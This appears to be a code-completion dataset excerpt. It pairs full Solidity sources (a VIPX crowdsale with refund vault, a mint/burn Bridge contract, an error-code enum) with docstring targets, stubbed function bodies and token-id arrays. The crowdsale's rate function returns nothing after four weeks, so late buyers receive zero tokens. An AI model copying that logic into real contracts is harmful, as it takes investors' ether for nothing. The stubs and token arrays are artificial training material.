file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = 0xcb26A1328d8B9244d43F5D466c62F5b5Fcf9d725; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title RefundVault * @dev This contract is used for storing funds while a crowdsale * is in progress. Supports refunding the money if crowdsale fails, * and forwarding it if crowdsale is successful. */ contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); /** * @param _wallet Vault address */ constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } /** * @param investor Investor address */ function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } /** * @param investor Investor address */ function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract VIPX_Crowdsale is Pausable { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // minimum amount of funds to be raised in weis uint256 public goal; // refund vault used to hold funds while crowdsale is running RefundVault public vault; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; // Max amount of wei accepted in the crowdsale uint256 public cap; // Min amount of wei an investor can send uint256 public minInvest; // Crowdsale opening time uint256 public openingTime; // Crowdsale closing time uint256 public closingTime; // Crowdsale duration in days uint256 public duration; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor() public { rate = 500; wallet = owner; token = ERC20(0x7b9585eeC0598c8C5E508fB42B23D9d21B645170); minInvest = 0.1 * 1 ether; duration = 60 days; openingTime = 2524608000; // Determined by start() closingTime = openingTime + duration; // Determined by start() goal = 2000 ether; vault = new RefundVault(wallet); } /** * @dev called by the owner to start the crowdsale */ function start() public onlyOwner { openingTime = now; closingTime = now + duration; } /** * @dev Returns the rate of tokens per wei at the present time. * Note that, as price _increases_ with time, the rate _decreases_. * @return The number of tokens a buyer gets per wei at a given time */ function getCurrentRate() public view returns (uint256) { if (now <= openingTime.add(7 days)) return rate.add(rate*3/10); // bonus 30% first week if (now > openingTime.add(7 days) && now <= openingTime.add(14 days)) return rate.add(rate/5); // bonus 20% second week if (now > openingTime.add(14 days) && now <= openingTime.add(21 days)) return rate.add(rate/10); // bonus 10% third week if (now > openingTime.add(21 days) && now <= openingTime.add(28 days)) return rate.add(rate/20); // bonus 5% fourd week } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _forwardFunds(); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused { require(_beneficiary != address(0)); require(_weiAmount >= minInvest); require(now >= openingTime && now <= closingTime); } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 currentRate = getCurrentRate(); return currentRate.mul(_weiAmount); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev vault finalization task, called when owner calls finalize() */ function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } } }
* @dev Returns the rate of tokens per wei at the present time. Note that, as price _increases_ with time, the rate _decreases_. @return The number of tokens a buyer gets per wei at a given time/
function getCurrentRate() public view returns (uint256) { }
11,789,752
[ 1, 1356, 326, 4993, 434, 2430, 1534, 732, 77, 622, 326, 3430, 813, 18, 3609, 716, 16, 487, 6205, 389, 267, 1793, 3304, 67, 598, 813, 16, 326, 4993, 389, 323, 1793, 3304, 27799, 327, 1021, 1300, 434, 2430, 279, 27037, 5571, 1534, 732, 77, 622, 279, 864, 813, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 5175, 4727, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 203, 203, 203, 377, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "../controller/ControllerInterface.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract Bridge is Ownable { enum RequestStatus {PENDING, CANCELED, APPROVED, REJECTED} struct Request { address requester; // sender of the request. uint amount; // amount of token to mint/burn. string depositAddress; // custodian's asset address in mint, broker's asset address in burn. string txid; // asset txid for sending/redeeming asset in the mint/burn process. uint nonce; // serial number allocated for each request. uint timestamp; // time of the request creation. RequestStatus status; // status of the request. } ControllerInterface public controller; // mapping between broker to the corresponding custodian deposit address, used in the minting process. // by using a different deposit address per broker the custodian can identify which broker deposited. mapping(address=>string) public custodianDepositAddress; // mapping between broker to the its deposit address where the asset should be moved to, used in the burning process. mapping(address=>string) public brokerDepositAddress; // mapping between a mint request hash and the corresponding request nonce. mapping(bytes32=>uint) public mintRequestNonce; // mapping between a burn request hash and the corresponding request nonce. mapping(bytes32=>uint) public burnRequestNonce; Request[] public mintRequests; Request[] public burnRequests; constructor(address _controller) { require(_controller != address(0), "invalid _controller address"); controller = ControllerInterface(_controller); transferOwnership(_controller); } modifier onlyBroker() { require(controller.isBroker(msg.sender), "sender not a broker."); _; } modifier onlyCustodian() { require(controller.isCustodian(msg.sender), "sender not a custodian."); _; } event CustodianDepositAddressSet(address indexed broker, address indexed sender, string depositAddress); function setCustodianDepositAddress( address broker, string memory depositAddress ) external onlyCustodian returns (bool) { require(broker != address(0), "invalid broker address"); require(controller.isBroker(broker), "broker address is not a real broker."); require(!isEmptyString(depositAddress), "invalid asset deposit address"); custodianDepositAddress[broker] = depositAddress; emit CustodianDepositAddressSet(broker, msg.sender, depositAddress); return true; } event BrokerDepositAddressSet(address indexed broker, string depositAddress); function setBrokerDepositAddress(string memory depositAddress) external onlyBroker returns (bool) { require(!isEmptyString(depositAddress), "invalid asset deposit address"); brokerDepositAddress[msg.sender] = depositAddress; emit BrokerDepositAddressSet(msg.sender, depositAddress); return true; } event MintRequestAdd( uint indexed nonce, address indexed requester, uint amount, string depositAddress, string txid, uint timestamp, bytes32 requestHash ); function addMintRequest( uint amount, string memory txid, string memory depositAddress ) external onlyBroker returns (bool) { require(!isEmptyString(depositAddress), "invalid asset deposit address"); require(compareStrings(depositAddress, custodianDepositAddress[msg.sender]), "wrong asset deposit address"); uint nonce = mintRequests.length; uint timestamp = getTimestamp(); Request memory request = Request({ requester: msg.sender, amount: amount, depositAddress: depositAddress, txid: txid, nonce: nonce, timestamp: timestamp, status: RequestStatus.PENDING }); bytes32 requestHash = calcRequestHash(request); mintRequestNonce[requestHash] = nonce; mintRequests.push(request); emit MintRequestAdd(nonce, msg.sender, amount, depositAddress, txid, timestamp, requestHash); return true; } event MintRequestCancel(uint indexed nonce, address indexed requester, bytes32 requestHash); function cancelMintRequest(bytes32 requestHash) external onlyBroker returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingMintRequest(requestHash); require(msg.sender == request.requester, "cancel sender is different than pending request initiator"); mintRequests[nonce].status = RequestStatus.CANCELED; emit MintRequestCancel(nonce, msg.sender, requestHash); return true; } event MintConfirmed( uint indexed nonce, address indexed requester, uint amount, string depositAddress, string txid, uint timestamp, bytes32 requestHash ); function confirmMintRequest(bytes32 requestHash) external onlyCustodian returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingMintRequest(requestHash); mintRequests[nonce].status = RequestStatus.APPROVED; require(controller.mint(request.requester, request.amount), "mint failed"); emit MintConfirmed( request.nonce, request.requester, request.amount, request.depositAddress, request.txid, request.timestamp, requestHash ); return true; } event MintRejected( uint indexed nonce, address indexed requester, uint amount, string depositAddress, string txid, uint timestamp, bytes32 requestHash ); function rejectMintRequest(bytes32 requestHash) external onlyCustodian returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingMintRequest(requestHash); mintRequests[nonce].status = RequestStatus.REJECTED; emit MintRejected( request.nonce, request.requester, request.amount, request.depositAddress, request.txid, request.timestamp, requestHash ); return true; } event Burned( uint indexed nonce, address indexed requester, uint amount, string depositAddress, uint timestamp, bytes32 requestHash ); function burn(uint amount) external onlyBroker returns (bool) { string memory depositAddress = brokerDepositAddress[msg.sender]; require(!isEmptyString(depositAddress), "broker asset deposit address was not set"); uint nonce = burnRequests.length; uint timestamp = getTimestamp(); // set txid as empty since it is not known yet. string memory txid = ""; Request memory request = Request({ requester: msg.sender, amount: amount, depositAddress: depositAddress, txid: txid, nonce: nonce, timestamp: timestamp, status: RequestStatus.PENDING }); bytes32 requestHash = calcRequestHash(request); burnRequestNonce[requestHash] = nonce; burnRequests.push(request); require(controller.getToken().transferFrom(msg.sender, address(controller), amount), "transfer tokens to burn failed"); require(controller.burn(amount), "burn failed"); emit Burned(nonce, msg.sender, amount, depositAddress, timestamp, requestHash); return true; } event BurnConfirmed( uint indexed nonce, address indexed requester, uint amount, string depositAddress, string txid, uint timestamp, bytes32 inputRequestHash ); function confirmBurnRequest(bytes32 requestHash, string memory txid) external onlyCustodian returns (bool) { uint nonce; Request memory request; (nonce, request) = getPendingBurnRequest(requestHash); burnRequests[nonce].txid = txid; burnRequests[nonce].status = RequestStatus.APPROVED; burnRequestNonce[calcRequestHash(burnRequests[nonce])] = nonce; emit BurnConfirmed( request.nonce, request.requester, request.amount, request.depositAddress, txid, request.timestamp, requestHash ); return true; } function getMintRequest(uint nonce) external view returns ( uint requestNonce, address requester, uint amount, string memory depositAddress, string memory txid, uint timestamp, string memory status, bytes32 requestHash ) { Request memory request = mintRequests[nonce]; string memory statusString = getStatusString(request.status); requestNonce = request.nonce; requester = request.requester; amount = request.amount; depositAddress = request.depositAddress; txid = request.txid; timestamp = request.timestamp; status = statusString; requestHash = calcRequestHash(request); } function getMintRequestsLength() external view returns (uint length) { return mintRequests.length; } function getBurnRequest(uint nonce) external view returns ( uint requestNonce, address requester, uint amount, string memory depositAddress, string memory txid, uint timestamp, string memory status, bytes32 requestHash ) { Request storage request = burnRequests[nonce]; string memory statusString = getStatusString(request.status); requestNonce = request.nonce; requester = request.requester; amount = request.amount; depositAddress = request.depositAddress; txid = request.txid; timestamp = request.timestamp; status = statusString; requestHash = calcRequestHash(request); } function getBurnRequestsLength() external view returns (uint length) { return burnRequests.length; } function getTimestamp() internal view returns (uint) { // timestamp is only used for data maintaining purpose, it is not relied on for critical logic. return block.timestamp; // solhint-disable-line not-rely-on-time } function getPendingMintRequest(bytes32 requestHash) internal view returns (uint nonce, Request memory request) { require(requestHash != 0, "request hash is 0"); nonce = mintRequestNonce[requestHash]; request = mintRequests[nonce]; validatePendingRequest(request, requestHash); } function getPendingBurnRequest(bytes32 requestHash) internal view returns (uint nonce, Request memory request) { require(requestHash != 0, "request hash is 0"); nonce = burnRequestNonce[requestHash]; request = burnRequests[nonce]; validatePendingRequest(request, requestHash); } function validatePendingRequest(Request memory request, bytes32 requestHash) internal pure { require(request.status == RequestStatus.PENDING, "request is not pending"); require(requestHash == calcRequestHash(request), "given request hash does not match a pending request"); } function calcRequestHash(Request memory request) internal pure returns (bytes32) { return keccak256(abi.encode( request.requester, request.amount, request.depositAddress, request.txid, request.nonce, request.timestamp )); } function compareStrings (string memory a, string memory b) internal pure returns (bool) { return (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b))); } function isEmptyString (string memory a) internal pure returns (bool) { return (compareStrings(a, "")); } function getStatusString(RequestStatus status) internal pure returns (string memory) { if (status == RequestStatus.PENDING) { return "pending"; } else if (status == RequestStatus.CANCELED) { return "canceled"; } else if (status == RequestStatus.APPROVED) { return "approved"; } else if (status == RequestStatus.REJECTED) { return "rejected"; } else { // this fallback can never be reached. return "unknown"; } } }
asset txid for sending/redeeming asset in the mint/burn process.
string txid;
917,079
[ 1, 9406, 18372, 364, 5431, 19, 266, 24903, 310, 3310, 316, 326, 312, 474, 19, 70, 321, 1207, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 533, 18372, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/ErrorReporter.sol pragma solidity 0.4.24; contract ErrorReporter { /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. */ event Failure(uint256 error, uint256 info, uint256 detail); enum Error { NO_ERROR, OPAQUE_ERROR, // To be used when reporting errors from upgradeable contracts; the opaque code should be given as `detail` in the `Failure` event UNAUTHORIZED, INTEGER_OVERFLOW, INTEGER_UNDERFLOW, DIVISION_BY_ZERO, BAD_INPUT, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_TRANSFER_FAILED, MARKET_NOT_SUPPORTED, SUPPLY_RATE_CALCULATION_FAILED, BORROW_RATE_CALCULATION_FAILED, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_OUT_FAILED, INSUFFICIENT_LIQUIDITY, INSUFFICIENT_BALANCE, INVALID_COLLATERAL_RATIO, MISSING_ASSET_PRICE, EQUITY_INSUFFICIENT_BALANCE, INVALID_CLOSE_AMOUNT_REQUESTED, ASSET_NOT_PRICED, INVALID_LIQUIDATION_DISCOUNT, INVALID_COMBINED_RISK_PARAMETERS, ZERO_ORACLE_ADDRESS, CONTRACT_PAUSED, KYC_ADMIN_CHECK_FAILED, KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED, KYC_CUSTOMER_VERIFICATION_CHECK_FAILED, LIQUIDATOR_CHECK_FAILED, LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED, SET_WETH_ADDRESS_ADMIN_CHECK_FAILED, WETH_ADDRESS_NOT_SET_ERROR, ETHER_AMOUNT_MISMATCH_ERROR } /** * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED, BORROW_ACCOUNT_SHORTFALL_PRESENT, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_AMOUNT_LIQUIDITY_SHORTFALL, BORROW_AMOUNT_VALUE_CALCULATION_FAILED, BORROW_CONTRACT_PAUSED, BORROW_MARKET_NOT_SUPPORTED, BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED, BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED, BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED, 